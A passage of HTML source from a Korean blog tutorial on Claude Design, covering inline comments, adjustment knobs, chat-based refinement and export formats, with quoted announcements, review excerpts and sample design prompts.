&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.1. 인라인 코멘트 사용 방법&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;캔버스에서 수정하고 싶은 &lt;b&gt;요소를 직접 클릭&lt;/b&gt;한다. 공식 원문: &lt;i&gt;&quot;Inline comments let you click directly on a specific part of the canvas and request a targeted change.&quot;&lt;/i&gt; (인라인 코멘트를 쓰면 캔버스의 원하는 부분을 직접 클릭해 딱 그 부분만 바꿔달라고 요청할 수 있다.)&lt;/li&gt;
&lt;li&gt;클릭한 요소에 대한 &lt;b&gt;변경 요청을 자연어로 입력&lt;/b&gt;한다.&lt;/li&gt;
&lt;li&gt;Claude가 해당 요소만 수정한다. 다른 섹션은 그대로 유지된다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 코멘트 클릭 &amp;gt; 요소 직접 클릭&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;1942&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oBmM1/dJMcaaLO0jb/sk1b6o15mkOfJkBBjkyZu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oBmM1/dJMcaaLO0jb/sk1b6o15mkOfJkBBjkyZu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oBmM1/dJMcaaLO0jb/sk1b6o15mkOfJkBBjkyZu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoBmM1%2FdJMcaaLO0jb%2Fsk1b6o15mkOfJkBBjkyZu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1534&quot; height=&quot;1942&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;1942&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 코멘트 입력 및 전송&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1580&quot; data-origin-height=&quot;508&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uuGB0/dJMcahjT0EI/pQ9KMBKopxyz1t5uhUJs41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uuGB0/dJMcahjT0EI/pQ9KMBKopxyz1t5uhUJs41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uuGB0/dJMcahjT0EI/pQ9KMBKopxyz1t5uhUJs41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuuGB0%2FdJMcahjT0EI%2FpQ9KMBKopxyz1t5uhUJs41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1580&quot; height=&quot;508&quot; data-origin-width=&quot;1580&quot; data-origin-height=&quot;508&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 작업 완료 (버그로 새로고침해야 볼 수 있었다.)&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPUd1Z/dJMcaaSA6bZ/ZIFGZxMP5oWvgD6hwPUQU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPUd1Z/dJMcaaSA6bZ/ZIFGZxMP5oWvgD6hwPUQU1/img.png&quot; style=&quot;width: 23.8864%; margin-right: 10px;&quot; data-origin-width=&quot;492&quot; data-origin-height=&quot;384&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;24.17&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPUd1Z/dJMcaaSA6bZ/ZIFGZxMP5oWvgD6hwPUQU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPUd1Z%2FdJMcaaSA6bZ%2FZIFGZxMP5oWvgD6hwPUQU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;492&quot; height=&quot;384&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCa4AN/dJMcaduVXaD/rZtthOKaL7Ka6kFpSCbh6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCa4AN/dJMcaduVXaD/rZtthOKaL7Ka6kFpSCbh6K/img.png&quot; style=&quot;width: 74.9508%;&quot; data-origin-width=&quot;1584&quot; data-origin-height=&quot;394&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;75.83&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCa4AN/dJMcaduVXaD/rZtthOKaL7Ka6kFpSCbh6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCa4AN%2FdJMcaduVXaD%2FrZtthOKaL7Ka6kFpSCbh6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1584&quot; height=&quot;394&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.2. 인라인 코멘트가 적합한 변경 vs Chat이 적합한 변경&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘의 차이를 알고 쓰는 것만으로 편집 효율이 크게 달라진다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;방법&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;적합한 변경 유형&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;공식 예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;인라인 코멘트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;특정 요소의 타겟 변경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;버튼 패딩 조정, input 타입 변경, 브랜드 색상 적용, 섹션 접기(collapsible) 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;Chat&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전체 톤&amp;middot;레이아웃 광역 변경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;컬러 스킴 변경, 레이아웃 재배치, 섹션 추가, 디자인 대안 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre class=&quot;cs&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;# 인라인 코멘트로 잘 되는 요청 예시
[CTA 버튼 클릭 후] &quot;Make this button padding larger&quot;
[히어로 제목 클릭 후] &quot;Make this heading font size larger and font weight bold&quot;
[특정 카드 클릭 후] &quot;Apply brand primary color (#0066cc) to this card border&quot;
[토글 버튼 클릭 후] &quot;Convert this to a collapsible accordion&quot;

# Chat으로 보내야 하는 요청 예시
&quot;Make the overall color scheme darker and more minimal&quot;
&quot;Rearrange sections: move pricing above features&quot;
&quot;Add a testimonials section after the hero&quot;
&quot;Generate 3 alternative hero designs&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.3. 협업에서의 인라인 코멘트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인라인 코멘트는 팀원이 디자인을 직접 편집하지 않고 주석만 달 때도 활용된다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원문: &lt;i&gt;&quot;My team can jump into a Claude Design project and leave comments without editing directly. A designer can annotate 'this hierarchy is wrong' without touching the implementation.&quot;&lt;/i&gt; &lt;br /&gt;(팀원이 Claude Design 프로젝트에 들어와 직접 편집 없이 코멘트만 남길 수 있다. 디자이너가 구현을 건드리지 않고 '이 계층 구조가 잘못됐어'라고 주석을 달 수 있다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.4. 알려진 버그와 워크어라운드&lt;/h3&gt;
&lt;div style=&quot;background: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;버그 (공식 확인)&lt;/b&gt;: 인라인 코멘트가 Claude가 읽기 전에 사라지는 현상이 간헐적으로 발생한다. 공식 원문: &lt;i&gt;&quot;Inline comments occasionally disappear before Claude reads them.&quot;&lt;/i&gt; (인라인 코멘트가 Claude가 읽기 전에 간헐적으로 사라진다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공식 워크어라운드&lt;/b&gt;: 코멘트가 반영되지 않으면 피드백 내용을 chat에 직접 붙여 넣는다. 공식 원문: &lt;i&gt;&quot;If your comments aren't being picked up, paste the feedback directly into the chat instead.&quot;&lt;/i&gt; (코멘트가 반영이 안 된다면 피드백을 그냥 채팅에 붙여넣자.)&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== SECTION 7 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;sec-7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;7. 기능 4: Adjustment Knobs (Custom Sliders)&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.1. 용어 정리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 기능은 두 가지 이름으로 불린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic 공식 발표는 &quot;adjustment knobs&quot;를 사용하고, Anthropic 공식 발표는 &quot;custom sliders (made by Claude)&quot;라고도 표현하며, 커뮤니티 리뷰들은 두 명칭을 혼용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서는 공식 발표 기준 &quot;adjustment knobs&quot;를 주 명칭으로 쓰되 괄호 안에 &quot;custom sliders&quot;를 병기한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.2. 이 기능이 하는 일&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Adjustment Knobs는 프롬프트를 새로 쓰지 않고 디자인의 &lt;b&gt;spacing, color, layout&lt;/b&gt;을 실시간으로 조정하는 컨트롤이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;런치 당시 발표 자료에 인용된 문구: &lt;i&gt;&quot;Use adjustment knobs to tweak spacing, color, and layout live.&quot;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(adjustment knobs로 간격, 색상, 레이아웃을 실시간으로 조정한다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Banani 리뷰는 이를 구체적으로 묘사한다: &lt;i&gt;&quot;adjust spacing, color, and layout in real time without needing to write a prompt.&quot;&lt;/i&gt; (프롬프트를 새로 쓸 필요 없이 간격, 색상, 레이아웃을 실시간으로 조정한다.)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.3. 핵심 차별점: Claude가 해당 디자인에 맞는 Knobs를 생성한다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적인 디자인 툴의 슬라이더와 결정적으로 다른 점이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Vibecoding 리뷰는 이를 가장 잘 설명한다: &lt;i&gt;&quot;a sidebar with sliders, toggles, and natural-language tweaks that modify any element without triggering a full regeneration.&quot;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(전체 재생성 없이 어떤 요소든 수정할 수 있는 슬라이더, 토글, 자연어 조정 기능을 갖춘 사이드바.) The Register는 공식 워크플로우 설명에서 &quot;custom sliders (made by Claude)&quot;라고 병기했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 knobs(슬라이더)는 고정된 범용 컨트롤이 아니라, &lt;b&gt;해당 디자인의 컨텍스트에 맞게 Claude가 생성해주는 조정 컨트롤&lt;/b&gt;이다. 예를 들어 hero 섹션이 있는 랜딩 페이지라면 &quot;hero font scale&quot; 슬라이더가, 카드 레이아웃이 있다면 &quot;card gap&quot; 슬라이더가 자동 생성되는 식이다. Vibecoding 리뷰어 Austin Lau는 이 기능이 &quot;런치 커버리지에서 가장 덜 주목받은 기능&quot;이라고 평했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.4. 사용 흐름&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;초안 생성 후 Adjustment Knobs 패널에 접근한다. (UI 위치 정확한 메뉴명은 공식 문서에 기술되지 않아 확인 불가.)&lt;/li&gt;
&lt;li&gt;생성된 knobs 목록을 확인한다. 제어 가능한 공식 확인 속성: spacing, color, layout.&lt;/li&gt;
&lt;li&gt;슬라이더나 토글을 조작해 실시간 캔버스 변화를 확인한다. 전체 재생성 없이 즉각 반영된다는 점이 핵심이다.&lt;/li&gt;
&lt;li&gt;타이포그래피 조정 가능 여부는 공식 문서에 명시되지 않아 확인 불가.&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;언제 Adjustment Knobs를 쓰는가&lt;/b&gt;: &quot;색상을 조금 더 진하게&quot;, &quot;섹션 간격을 조금 더 넓게&quot; 같은 정도 조절(degree tweaking)에 적합하다. 새 섹션 추가, 전체 컬러 스킴 교체 같은 구조적 변경은 chat으로 보낸다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== SECTION 8 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;sec-8&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;8. 기능 5: Chat 기반 광역 리파인&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Chat은 전체 디자인의 방향을 바꾸거나 구조적 변경을 요청할 때 쓴다. 인라인 코멘트(특정 요소 타겟)와 대비되는 &quot;광역 지시&quot; 채널이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8.1. Chat 리파인이 적합한 경우&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;전체 컬러 스킴 변경: &lt;i&gt;&quot;Make the color scheme darker and more minimal&quot;&lt;/i&gt; (전체 색상을 더 어둡고 미니멀하게)&lt;/li&gt;
&lt;li&gt;레이아웃 재배치: &lt;i&gt;&quot;Move the pricing section above the features section&quot;&lt;/i&gt; (pricing 섹션을 features 섹션 위로 올려)&lt;/li&gt;
&lt;li&gt;섹션 추가/삭제&lt;/li&gt;
&lt;li&gt;대안 시안 생성: &lt;i&gt;&quot;Show me 3 alternative hero designs&quot;&lt;/i&gt; (hero 디자인 3가지 대안을 보여줘)&lt;/li&gt;
&lt;li&gt;전체 톤 변경: &lt;i&gt;&quot;Make the overall tone more playful and less corporate&quot;&lt;/i&gt; (전체 톤을 더 유쾌하고 덜 딱딱하게)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8.2. 효율적인 Chat 리파인 전략&lt;/h3&gt;
&lt;pre class=&quot;cs&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;# 비효율: 인라인 작업을 Chat에 몰기
&quot;hero 제목 폰트 크게, CTA 버튼 라운딩 8px, feature 카드 간격 줄이기&quot;

# 권장: Chat은 구조&amp;middot;방향, 인라인은 포인트 처리로 분리
[Chat]   &quot;전체 컬러를 다크 네이비 기반으로 바꾼다. pricing 가운데 플랜을 강조한다.&quot;
[인라인] 각 세부 요소는 캔버스에서 개별 클릭 후 처리&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Vibecoding 리뷰는 &quot;단일 컴포넌트부터 시작하라&quot;고 권장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원문: &lt;i&gt;&quot;Start small: a single landing page, a pricing section, a login screen.&quot;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(작게 시작하라. 랜딩 페이지 1개, pricing 섹션 1개, 로그인 화면 1개처럼.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복잡한 멀티섹션 디자인을 한 번에 요청하면 수정 사이클이 복잡해지고 사용량도 빠르게 소진된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 9 ===== --&gt;
&lt;h2 id=&quot;sec-9&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;9. 기능 6: 내보내기 6종 상세 튜토리얼&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Export 버튼은 화면 &lt;b&gt;우측 상단&lt;/b&gt;에 있다. 클릭하면 6가지 포맷이 제공된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background: #e8f4f8; color: #0066cc; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;개발자&lt;/span&gt;9.1. Download as .zip&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;용도&lt;/b&gt;: 전체 에셋을 로컬로 저장하거나 개발자에게 전달할 때.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;포함 내용&lt;/b&gt;: Vibecoding 리뷰는 핸드오프 번들 구성으로 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/pages/landing.tsx&lt;/code&gt;, &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/components/pricing-card.tsx&lt;/code&gt;, &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/styles/tokens.css&lt;/code&gt; 형태의 파일을 언급한다. 공식 문서에는 zip 내 파일 목록이 명시되지 않아 확인 불가.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;절차&lt;/b&gt;: Export 버튼 &amp;rarr; &quot;Download as .zip&quot; 선택 &amp;rarr; 파일 저장.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.2. Export as PDF&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;용도&lt;/b&gt;: 인쇄, 이메일 첨부, 사내 리뷰 공유.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특성&lt;/b&gt;: 정적 이미지 기반. 인터랙티브 요소는 동작하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설정 옵션&lt;/b&gt; (페이지 크기, 해상도 등): 공식 문서에 기술되지 않아 확인 불가.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;절차&lt;/b&gt;: Export 버튼 &amp;rarr; &quot;Export as PDF&quot; 선택 &amp;rarr; 파일 저장.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.3. Export as PPTX &amp;mdash; 두 종류&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;용도&lt;/b&gt;: 피치덱, 사내 발표, 슬라이드 기반 리뷰.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;UI에 두 가지 옵션이 별도로 제공된다 (UI 직접 확인, 공식 문서 미기재).&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 8px; text-align: left; font-weight: 600;&quot;&gt;옵션&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 8px; text-align: left; font-weight: 600;&quot;&gt;특성&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 8px; text-align: left; font-weight: 600;&quot;&gt;권장 용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;Export as PPTX (editable)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Native text &amp;amp; shapes &amp;mdash; PowerPoint에서 텍스트&amp;middot;도형을 직접 편집 가능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;내용 수정이 필요한 발표, 협업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;Export as PPTX (screenshots)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Flat images &amp;mdash; 픽셀 완벽 이미지로 변환, 편집 불가&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;디자인 그대로 보존, 외부 공유&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;절차&lt;/b&gt;: Export 버튼 &amp;rarr; 원하는 PPTX 옵션 선택 &amp;rarr; 파일 저장 &amp;rarr; PowerPoint에서 열기.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.4. Send to Canva&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;용도&lt;/b&gt;: 소셜 카드&amp;middot;마케팅 에셋 대량 제작, Canva 템플릿 기반 후처리.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;배경&lt;/b&gt;: Canva CEO Melanie Perkins는 &lt;i&gt;&quot;Claude Design의 아이디어와 드래프트를 Canva로 seamless(매끄럽게, 별도 설정 없이)하게 가져올 수 있다&quot;&lt;/i&gt;고 발표했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Canva 계정 연동 요건&lt;/b&gt;: 공식 문서에 명시되지 않아 확인 불가. Canva 계정이 필요한지 여부는 직접 확인한다.&lt;/p&gt;
